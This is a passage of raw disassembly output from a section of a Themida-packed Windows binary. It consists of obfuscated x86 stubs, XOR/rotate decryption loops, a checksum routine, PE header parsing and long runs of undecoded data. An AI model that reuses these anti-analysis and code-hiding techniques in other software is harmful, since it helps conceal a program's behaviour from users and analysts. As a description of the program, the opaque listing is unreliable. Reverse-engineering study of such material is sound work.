0C65BA70Fh, 6612ED9Fh db 0Dh, 1Dh ; --------------------------------------------------------------------------- loc_57F94E: ; CODE XREF: Themida_:0057F93Cj mov eax, eax mov si, ax cmp dword ptr [ebp+610158Dh], 0 jnz short loc_57F965 cmp dword ptr [ebp+6100095h], 0 jz short loc_57F97E loc_57F965: ; CODE XREF: Themida_:0057F95Aj push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+610132Dh], eax lea ebx, [ebp+612B87Ch] call ebx pop ebx pop eax loc_57F97E: ; CODE XREF: Themida_:0057F963j cmp dword ptr [ebp+6100095h], 0 jz short loc_57F99E push eax push ebx mov eax, 40Eh mov [ebp+610132Dh], eax lea ebx, [ebp+612B51Dh] call ebx pop ebx pop eax loc_57F99E: ; CODE XREF: Themida_:0057F985j push 0 push ebx call sub_57F9A9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F9A9 proc near ; CODE XREF: Themida_:0057F9A1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_57F9A9 endp ; --------------------------------------------------------------------------- db 0Bh, 2Bh, 77h ; --------------------------------------------------------------------------- mov ecx, 63F469BEh or [edx+0], ch push edx call sub_57F9CD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F9CD proc near ; CODE XREF: Themida_:0057F9C5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_57F9CD endp ; --------------------------------------------------------------------------- db 57h, 64h, 59h dd 0DD38F480h, 0E9DE6FBFh, 0Bh, 2B69DB71h, 97CCDC2Dh, 0F523B354h dd 56BFBE66h, 13E9C08Bh, 0A0000000h, 0F00D8BCEh, 0EBA2B1B4h dd 0D8485A5Bh, 62BFBACFh, 0C28B0211h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h db 2, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_57FA37 proc near ; CODE XREF: Themida_:0057FA4Cj ; DATA XREF: Themida_:0054E734o arg_0 = dword ptr 4 pusha mov ebx, [esp+20h+arg_0] call $+5 pop ebp sub ebp, 61345D6h popa retn 4 sub_57FA37 endp ; --------------------------------------------------------------------------- jmp sub_57FA37 ; --------------------------------------------------------------------------- loc_57FA51: ; CODE XREF: Themida_:0057FA56j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57FA51 ; --------------------------------------------------------------------------- loc_57FA5B: ; CODE XREF: Themida_:0057FA60j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57FA5B ; --------------------------------------------------------------------------- loc_57FA65: ; CODE XREF: Themida_:0057FA6Aj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57FA65 ; --------------------------------------------------------------------------- loc_57FA6F: ; CODE XREF: Themida_:0057FA74j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57FA6F ; --------------------------------------------------------------------------- align 4 dd 0 dd 0C3616000h, 0FFFFF8E9h, 0EB58BFFh, 81061346h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 12B53B00h, 0F061346h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 701858Bh, 18860610h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0C995FF08h, 50061032h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 701858Bh, 0C60610h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 6100701h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6100E6Dh, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_57FB83 ; --------------------------------------------------------------------------- mov dword ptr [ebp+6100E6Dh], 100h loc_57FB83: ; CODE XREF: Themida_:0057FB74j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h dd 0B385C700h, 1061345h, 50000000h, 244C010Fh, 0B7858FFEh dd 8D061345h, 1345AF85h, 0B7BD8D06h, 89061345h, 23E938h dd 858D0000h, 6100CB5h, 538408Bh, 9B46F317h, 45AF8589h dd 858D0613h, 6100CB5h, 893C408Bh, 1345B385h, 0CC858D06h dd 89061345h, 1032C985h, 87E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_57FCAA: ; DATA XREF: Themida_:0054BDE4o push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57FCC5 ; --------------------------------------------------------------------------- loc_57FCBE: ; CODE XREF: Themida_:0057FCC7j add [esi], al xor [esi], al ror eax, 1 inc esi loc_57FCC5: ; CODE XREF: Themida_:0057FCB9j cmp esi, edi jb loc_57FCBE popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57FCED ; --------------------------------------------------------------------------- loc_57FCE6: ; CODE XREF: Themida_:0057FCEFj xor [esi], al sub [esi], al ror eax, 1 inc esi loc_57FCED: ; CODE XREF: Themida_:0057FCE1j cmp esi, edi jb loc_57FCE6 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_57FD20 ; --------------------------------------------------------------------------- loc_57FD0D: ; CODE XREF: Themida_:0057FD22j lodsb cmp al, 2Dh jz loc_57FD20 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_57FD20: ; CODE XREF: Themida_:0057FD08j ; Themida_:0057FD10j or ecx, ecx jnz loc_57FD0D mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- lea eax, [ebp+613483Fh] mov [ebp+6100979h], eax lea eax, [ebp+6134867h] mov [ebp+6101E99h], eax lea eax, [ebp+613488Fh] mov [ebp+6100CADh], eax jmp short loc_57FD5F ; --------------------------------------------------------------------------- align 4 dd 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_57FD5F: ; CODE XREF: Themida_:0057FD55j jmp loc_57FDDF ; --------------------------------------------------------------------------- dd 10F5260h, 5AFE244Ch, 8B24C283h, 10220985h, 7858D06h dd 8B061379h, 888B08h, 8B000010h, 4A8B660Ah, 0F08D89FCh dd 83061348h, 1022E5BDh, 840F0006h, 0Fh, 0FF006A60h, 1031C995h dd 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh, 0CD520272h dd 85895A04h, 61348ECh, 48F0B58Bh, 0CEC10613h, 72896610h dd 0F0B58B02h, 66061348h, 61FC7289h, 48EC858Bh ; --------------------------------------------------------------------------- adc eax, [esi] retn ; --------------------------------------------------------------------------- loc_57FDDF: ; CODE XREF: Themida_:loc_57FD5Fj lea edx, [ebp+6101721h] mov [ebp+6100701h], edx mov [ebp+61010C5h], edx inc dword ptr [ebp+61010C5h] mov byte ptr [ebp+61023E5h], 53h push 0FCB148D8h push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax mov [ebp+61031C9h], eax lea eax, [ebp+61345E6h] mov [ebp+61006B9h], eax jmp short $+2 jmp loc_5803CE ; --------------------------------------------------------------------------- jmp loc_5803C7 ; --------------------------------------------------------------------------- push 6134AA7h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6134BBBh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6134C2Dh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6134CF0h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6134DFCh jmp loc_5534D8 ; --------------------------------------------------------------------------- db 3Ch, 8Ah, 47h dd 255C0493h, 427B32A9h, 1F5C0F86h, 39782CABh, 97B8785h dd 25B42867h, 10874384h, 2CAB1F5Ah, 9F8A3E73h, 3554EE9Dh dd 33B06BDFh, 5F04D769h, 27F93419h, 668AA1DAh, 0EAA1B6BAh dd 6DCC695Ch, 0CC6901C1h, 6957EE6Dh, 608D6DCCh, 0F711B44Eh dd 0AF5C7195h, 6DCC7B17h, 0CC7B4FF8h, 7B16B06Dh, 0C251EDCCh dd 7F444719h, 97E7FC28h, 0AE9FC19Bh, 226D6CE6h, 0E95950F1h dd 0D142355h, 9B183511h, 205F11E7h, 5D118844h, 72816E22h dd 1B949769h, 0B31E133Bh, 1855FAC1h, 0A121086Ch, 451E136Fh dd 0EA600DE9h, 0A4C03AD3h, 40FE7F0h, 0DB8B0000h, 0EF952498h dd 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h dd 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDF36h dd 7932B07Ch, 0BC095044h, 666DCC7Ch, 63A44514h, 397018AFh dd 0F00DE94Dh, 0D912B44Bh, 973A778Bh, 0A1C6AA56h, 587503EBh dd 3BEF24DBh, 22CE03BCh, 0DBC7FCA3h, 0DF46DD7Eh, 8437F328h dd 336AF829h, 37B09h, 62493700h, 6DCC4EE0h, 79532804h dd 0B49296D7h, 3CAB20C9h, 68DB6722h, 0DF3B6DCCh, 659A510Ah dd 685DEAB1h, 390A6DCCh, 0AFE49B9Ah, 7D2C10FBh, 6DCC68C5h dd 0B02B4521h, 52CEC2F7h, 5C128975h, 752EAD21h, 5D5F5440h dd 984FC682h, 7518AF63h, 68F74B3Eh, 9F486DCCh, 0C2BAB66Ah dd 0ECCE8A66h, 68AB1712h, 344B6DCCh, 5B70548Dh, 0CC6816B0h dd 809FCC6Dh, 1E9DD7D7h, 8425AECBh, 53624F43h, 532B9792h dd 0B4CB6DCCh, 4125D110h, 7C2F4125h, 67FC2553h, 3E0AAFABh dd 0F04A15E1h db 24h, 0B3h, 0FBh byte_580023 db 2 ; DATA XREF: Themida_:0054C800o dd 0D7770000h, 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh dd 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h db 31h, 7Dh word_580046 dw 8642h ; DATA XREF: ___:off_43285Co ; ___:00432864o ... dd 0A723580Fh, 71D1B8C4h, 956BDF37h, 79328C18h, 92395044h dd 7F32A95Dh, 23DB8A3Eh, 0C46DCC7Ch, 6DCC0C7Ah, 2DD91ACBh dd 338CC07Eh, 0C8787F92h, 0EE00E425h, 77E4CFDh, 637811E8h dd 46318E7Dh, 51CD9803h, 0AFE6AECh, 4750444Ah, 289h, 0A6226505h dd 8642792Fh, 0AD215A0Fh, 803C792Eh, 0A41857F9h, 84285AA6h dd 5F128945h, 772BAA1Eh, 52F9803Ch, 0D2AEA11Dh, 0DF306BD7h dd 860E8B6Bh, 50447932h, 0A95D9239h, 0F130CFF4h, 9649053Ah dd 336B363Bh, 21F1Bh, 44027100h, 0D96DCC7Ch, 213DF135h dd 991CC71Eh, 0F336A22h, 2B661C9Bh, 98C80577h, 64FFBBC5h dd 17CB8865h, 0A0548B41h, 0BCEA0C4h, 0F8721E55h, 0CCABB111h dd 0FDD9556Dh, 4F3C0CD0h, 0ACC1A9A3h, 67FE9DFAh, 11CD08BEh dd 6A50834Eh, 596333h, 0DE5D0000h, 1F03EF26h, 0BD5C824Ah dd 0DA8D4C1Eh, 35114C02h, 0F008E541h, 0FC7DF439h, 31969267h dd 4A0A3F3Bh, 0C6B821F5h, 42000001h, 0A914D90h, 28AF2B62h dd 5944881h, 32A92562h, 9D8B3F7Eh, 1251F361h, 2D6E1F96h dd 49842AB1h, 285D0695h, 0C4C7B9B4h, 6BDF307Eh, 32931996h dd 0E2854479h, 0C3C6BAA5h, 6DCC7C67h, 0B8CFC39Fh, 0D463D712h dd 0E7E4F62Bh, 22B0E9ABh, 7D293EE8h, 0F5697688h, 0C985C066h dd 0B0649952h, 83377819h, 8425B488h, 57522643h, 6DCC17EBh dd 9630F0Bh, 86639A52h, 9B4418CDh, 9AB6BA66h, 0CC7D3C1Eh dd 0BE9B978Bh, 55419E1Fh, 0E2568F36h, 0CC179B23h, 9C3FD66Dh dd 7A9AC7C2h, 0EA3C67FCh, 8F83B86Fh, 295EE493h, 0BAB6943Ch dd 1F9AC496h, 9E153269h, 7CFBAFE6h, 663CF2C4h, 989C88BDh dd 0F3C698BCh, 9CD17A4Eh, 9368CCB8h, 134EF493h, 93CA8239h dd 0B86683DFh, 1251F3C6h, 85C6675Eh, 1ECF8C61h, 0FBB229DDh dd 0D2E1CEC2h, 0D734F709h, 8D9E0C47h, 29DD18CEh, 82ED204Dh dd 44CD1C72h, 52F77327h, 400597D4h, 0BAD9CADAh, 36000000h dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h dd 6BDF313Ah, 0D737FDDAh, 9BBDC496h, 0BB90D7D8h, 5E124700h dd 978BC067h, 29DB5EC2h, 540303E1h, 886CA6F8h, 0C3C6989Ch dd 6DCCBD7Fh, 0DDBE9B97h, 0F328DF46h, 907B6537h, 6DCCBD32h dd 0CE05BBD2h, 0CF22D5F2h, 0AF336A74h, 24h, 7C45021Dh dd 617F6DCCh, 0B532AA6Ch, 1A01175Fh, 6DCC4CA8h, 5493354Ch dd 27E05B70h, 0BCD36F2h, 3F000000h, 0CC7C4402h dword_580304 dd 0FD32D96Dh, 2321AB41h, 0C96A1657h, 211447F1h, 79D4Ch ; DATA XREF: Themida_:0054CB60o dd 552B0000h, 0C5A2E386h, 3D8032FFh, 64995249h, 3A7519B0h dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h dd 417830A7h, 5457CF55h, 4C7815Fh, 83000000h, 3C8704EFh dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 34895C24h dd 6C306824h, 0C890000h, 0D37BE24h, 0EE83153Eh, 40EE8101h dd 680F2AC3h, 2A86h, 81242489h, 42404h, 50590000h, 4189F089h dd 24048B08h, 8B04C483h, 8950240Ch, 405E0h, 4050000h, 87000000h dd 0FF5C2404h, 835E2434h, 1DE904C4h, 0E2FFFD31h, 0FD5D818Bh dd 8C2367FFh db 65h, 8Dh, 4Bh ; --------------------------------------------------------------------------- loc_5803C7: ; CODE XREF: Themida_:0057FE2Aj mov eax, 6134EDBh add eax, ebp loc_5803CE: ; CODE XREF: Themida_:0057FE25j mov edx, ecx jmp loc_580426 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5803F0: ; CODE XREF: Themida_:0058041Bj cmp ecx, 0 jz loc_58040F cmp edi, [edx+0Ch] jg loc_580417 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_58040F: ; CODE XREF: Themida_:005803F3j ; Themida_:00580421j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_580417: ; CODE XREF: Themida_:005803FCj add edx, 28h dec ecx jnz loc_5803F0 jmp loc_58040F ; --------------------------------------------------------------------------- loc_580426: ; CODE XREF: Themida_:005803D0j mov edx, 9FD3Eh jmp short loc_58044D ; --------------------------------------------------------------------------- align 10h dd 7 dup(0) db 0 ; --------------------------------------------------------------------------- loc_58044D: ; CODE XREF: Themida_:0058042Bj jmp loc_5809F1 ; --------------------------------------------------------------------------- jmp loc_5809EA ; --------------------------------------------------------------------------- push 61351ADh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135257h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61353FEh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 613546Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- db 1Eh dd 26B5296Ch, 493477Eh, 31A8245Dh, 0E8D417Eh, 0A99F1B5Ah dd 3E7D2F5Dh, 195A0B8Ah, 357016A5h, 14490279h, 0E0CBB598h dd 6BDF2C62h, 329F2582h, 0C605A77Bh, 607A56DAh, 7C378B7Eh dd 53CF6DCCh, 0D6F32ED4h, 7CC58128h, 8B28EDCCh, 3120F1F4h dd 4100B36Bh, 0FE000000h, 2E4B883Bh, 7C450296h, 0F5046DCCh dd 6FEA14E6h, 940E8B8h, 203D191Dh, 0FBCCF963h, 1A11EF67h dd 9420CCA8h, 17C9C74Ch, 0DAD88A8Eh, 4521E1F6h, 2E2089h dd 2B200000h, 0F4AF72B0h, 0CD5774ABh, 0CC7C4402h, 4CF4036Dh dd 0D2AC5899h, 0CC7C6BD7h, 0B38F8B6Dh, 48FEBD8Fh, 2108F00Dh dd 67FBCC87h, 187431Fh, 4E427B32h, 0CC7CBC07h, 0B7C9B3EDh dd 0CC7C4EF4h, 0ADCAA6EDh, 1A53770Eh, 6D375328h, 701CF255h dd 0B3BF1744h, 65114C02h, 4B08E501h, 0B8835D96h, 5A953915h dd 0D1A68A76h, 0B827B80Dh, 3C5A5A6h, 950578Eh, 0A11D0CF4h dd 3DEDCC87h, 0ED9635E1h, 56A5A6B8h, 28B501FEh, 54EE9DAFh dd 0B0EDCC0Fh, 3D1F97B4h, 9F43BC10h, 0D6F3DB75h, 1CD07087h dd 294D29DDh, 10F35457h, 740BE7FCh, 85E195CCh, 58E6B561h dd 0BB142390h, 418C6908h, 21B97B3Eh, 7Eh, 1EBD5C6Bh, 2A7324Ch dd 7C60E2C9h, 0CBD6DCCh, 0A35BD7CBh, 215810C7h, 4DCF175h dd 0FBC5B005h, 0F8D24E67h, 0A5518E41h, 5D4ACC1h, 26B5295Eh dd 2C5F3F7Dh, 949B39F4h, 0B195B1F0h, 9C81E0Ch, 9304104Ah dd 314h, 26A2E585h, 6C2F9AFh, 2DA1DA8Fh, 0BCF9AEh, 2498D779h dd 4A8DA26h, 0DF9209C5h, 0F7AB2A9Eh, 0D27900BCh, 522E219Dh dd 0DF2DEB57h, 68E0B6Bh, 2DF40h, 7B328C00h, 0BF074E42h dd 356DCC7Ch, 7358E038h, 0CCA1CDBBh, 0CC5BE7DFh, 5AB9086Dh dd 0E4626DCCh, 0DE6DCC5Ah, 906DA65Bh, 0CC5A2B93h, 5A72CC6Dh dd 0E6EDADCCh, 0F230DBF5h, 9227FB51h, 53F5C496h, 0E7046014h dd 0B084537h, 0C7AF507Dh, 226E3EA4h, 5D230B35h, 5D6DD80h dd 7EB740EBh, 532D5E11h, 112AEA58h, 390E0A5Eh, 9880ED49h dd 0B6803890h, 26AF5DEh, 2BDB0000h, 3FE574E8h, 20C55408h dd 3FE473E7h, 1DCF4602h, 7C6ADEh, 6BDF1ED2h, 44F839ECh dd 62D611B5h, 43F72CD3h, 0DB57448h, 0E96BDF2Eh, 4D7400Ch dd 0F470245Dh, 7C932FDAh, 0F7736DCCh, 7DB259E2h, 7C24B789h dd 3ED52845h, 0B8C8C39Dh, 5867FBCBh, 34D960DCh, 11B83FFBh dd 40D72CD8h, 0A2CAC19Bh, 629E177Bh, 2B935206h, 269E151Ch dd 39324C8Fh, 7C5CAEFBh, 63A445F4h, 93966A7Fh, 942294F1h dd 215C1289h, 0AAC607AAh, 2D6209D0h, 4C812AB1h, 73A51158h dd 35C4800Ah, 47D5D4A6h, 5F8A3DC3h, 0E0D37FFAh, 4A26B53Ah dd 0A81D4E30h, 0E0EB340h, 0F02BDF56h, 7CA760DBh, 7E33358Dh dd 7155D18Ah, 50853EBDh, 3359F5A4h, 1188A7Eh, 0EDDE00DAh dd 0CE4D6F12h, 0CEB592E9h, 8049E8AEh, 3900DA56h, 0DE09C292h dd 52AF972Bh, 0CFF36F8Ch, 7C037F3h, 23E6F8D2h, 8C52AF9Fh dd 2AE1FB77h, 8C52AF98h, 0DBCBA07Ch, 0FC31DA61h, 0AF9B27E2h dd 9F7B8C52h, 369C3BCAh, 0FFEA0D71h, 738D69C8h, 65DE2CB8h dd 9668C486h, 3AE61DC3h, 36652136h, 0B646BE88h, 0C4B0E79Dh dd 964E1EC5h, 93AFB35Fh, 0A73EF5DFh, 0BEDA6823h, 0DE3AB646h dd 0C3621102h, 0E073CB26h, 11AB57h, 0D7210000h, 45225F04h dd 0CC19E05Eh, 14436Dh, 2B90000h, 6DCC1644h, 0CA09BB7Eh dd 9A49F9B0h, 0B1AD9233h, 0BD5C109Ch, 275D4C1Eh, 0BF67FBCBh dd 0B342AF63h, 4F01DB8Dh, 0E4006410h, 323BEE00h, 0CC9E10B7h dd 6113EB50h, 899D4039h, 0C320h, 4F923400h, 6DA45CDBh dd 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh, 0D8C407Fh dd 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 2F6CD6D5h, 2B886BDFh dd 1EBD5CA1h, 3A7324Ch, 8358DCC8h, 0FBCBF888h, 0C29C9867h dd 0CC55ED9Ch, 0B5B19420h, 0FA19E698h, 0BE460BD8h, 5DD9CD08h dd 0CE8A9270h, 0F431D8F2h, 929E10C1h, 7B533196h, 0C9DD4039h dd 53E0h, 0DF22C400h, 0FD34EC6Bh, 0DA13BA41h, 0F734D75Eh dd 0D110B443h, 0E1136F5Dh, 0BD3CF02Fh, 880FCB0Ch, 0A433A7E2h dd 1712C6FBh, 28DC6625h, 0BB386BDFh, 5C04D7F1h, 0D8F57125h dd 1769h, 96D7E300h, 144CC013h, 0C0F7ADB7h, 63DFCAA4h dd 836DCC85h, 8436D2A7h, 493D8032h, 0B0649952h, 463A7519h dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h dd 55417830h, 5D5455CFh, 4C581h, 0ED830000h, 242C8704h dd 0E089505Ch, 405h, 4E88300h, 5C240487h ; --------------------------------------------------------------------------- mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 3E3Bh mov [esp], ebx push 669F7990h pop ebx neg ebx xor ebx, 3B8637E2h xor ebx, 0A4F5E186h mov ebp, ebx pop ebx push esp mov ecx, [esp] add esp, 4 push esi push edx mov edx, ebp mov esi, edx pop edx mov [ecx+8], esi pop esi mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0E3h, 0Bh ; --------------------------------------------------------------------------- loc_5809EA: ; CODE XREF: Themida_:00580452j mov eax, 61354E6h add eax, ebp loc_5809F1: ; CODE XREF: Themida_:loc_58044Dj mov ecx, eax jmp loc_580B3B ; --------------------------------------------------------------------------- dd 543B7E8Ah, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h dd 38AE29B0h, 3C000000h, 40000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 22h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_580B3B: ; CODE XREF: Themida_:005809F3j jmp loc_582C43 ; --------------------------------------------------------------------------- push 61358EAh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135A16h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135AA2h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135B8Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135C5Fh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135D2Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135E05h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6135EA5h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 613629Dh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61362FFh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 613649Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61367C0h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6136B4Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6136F8Bh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6137100h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6137162h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61371B0h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 613722Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61373B6h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61374A8h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 613767Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- align 4 dd 0EF952498h, 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh dd 0FBAFEEA2h, 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h dd 796BDF2Bh, 7932B07Ch, 7CE75B4Eh, 23FF6DCCh, 8B34533Fh dd 767DE256h, 34628B65h, 216C2327h, 0A01D7F4h, 67FC5021h dd 54EE9DC3h, 7B943C50h, 0AD79E4DAh, 6BC7B774h, 0EA289A91h dd 50CC943Ch, 0F7AB877Bh, 3CEA16B0h, 49822794h, 4D883E5Dh dd 4E8F4259h, 656B0A99h, 6660FFB4h, 0EA319178h, 50D5943Ch dd 13B158AEh, 54294DA3h, 7A75824Bh, 316239h, 5CA80000h dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5611552h, 0D76F36E8h dd 36943C7Ch, 0FAE4E67Dh, 3C7CB30Fh, 2D75394h, 7B35B4FDh dd 0CC9439h, 32F60000h, 0DE504479h, 906DA65Bh, 2EE221C3h dd 0C7BBF097h, 66E217D0h, 0E324C594h, 0E61D06h, 12B96DCCh dd 31DA61DDh, 80BF0306h, 0DB579233h, 1FB60BF7h, 0FAE7A2BCh dd 1C9803F6h, 0A0378C40h, 0C96A213Bh, 4D9E1559h, 2AE1FFD1h dd 9E114998h, 0B5CBA07Ch, 29438226h, 0CFC3FAB2h, 0C614B4Ah dd 6A86DEE2h, 9E52C98Dh, 0AD77FA5Fh, 4B5B4038h, 1E335Ah dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh dd 24A81A11h, 4F4C6BDFh, 3F7E32C5h, 1E530C8Bh, 9BDC8D4Ch dd 2C9695E7h, 0C86DCC7Ch, 0EB73886Ch, 2459DC11h, 428C2206h dd 0A3C18128h, 49256DCCh, 0BD5C9834h, 745D4C1Eh, 9267FC7Ch dd 3BBEA96h, 14943C7Ch, 4A41356Ch, 0E019D0A2h, 60143034h dd 0FBDF764Dh, 3C7CB210h, 0FAD65294h, 0FCA43709h, 14BAD1C5h dd 2D492DD9h, 7CEA5853h, 0E0A943Ch, 0FCB6A39h, 7E5B964Ch dd 7B363879h, 0BC1839h, 93260000h, 65C1B5EEh, 96D7BC88h dd 2534902Bh, 951E3B52h, 0CECDB9EEh, 2DD21Ah, 28DD382Eh dd 0F211584Ch, 0CD6DCC35h, 4C0FE116h, 0B77F5C95h, 9E528740h dd 4719C251h, 0B693CE74h, 3BFAE7A2h, 401C67FCh, 3BA0378Ch dd 93D86A21h, 0D73C9E0Ah, 0BF66DE63h, 0B1969A86h, 907B57F7h dd 9E11B632h, 567A56D2h, 0D413B584h, 508B3FFAh, 62D9C37Bh dd 0F231D3AFh, 8E42F9CEh, 771EA4Fh, 55414038h, 1D0744h dd 276A1C00h, 457C24B3h, 225B1289h, 3F7C2FA6h, 19580C8Bh dd 295BA7A5h, 5944887h, 30A72364h, 0C8B3F7Ah, 0BFAA1E53h dd 2674CEBDh, 13906BDFh, 3F7E3289h, 1E530C8Bh, 79321CAAh dd 92395044h, 6C3DE15Dh, 738D4E65h, 0FC202BB8h, 0D44FCB67h dd 91379723h, 9843D251h, 7D92C3C6h, 952C5A9Dh, 0E38FB3F4h dd 0FAD4070Eh, 0AD6EC10Fh, 0CBA58150h, 0A6225710h, 266105D4h dd 5AE1F67Ah, 0F52AE1B1h, 0D3F96CD1h, 0E1B582A4h, 1C7BF8h dd 9BDE9000h, 0B9F0981Fh, 96CF7605h, 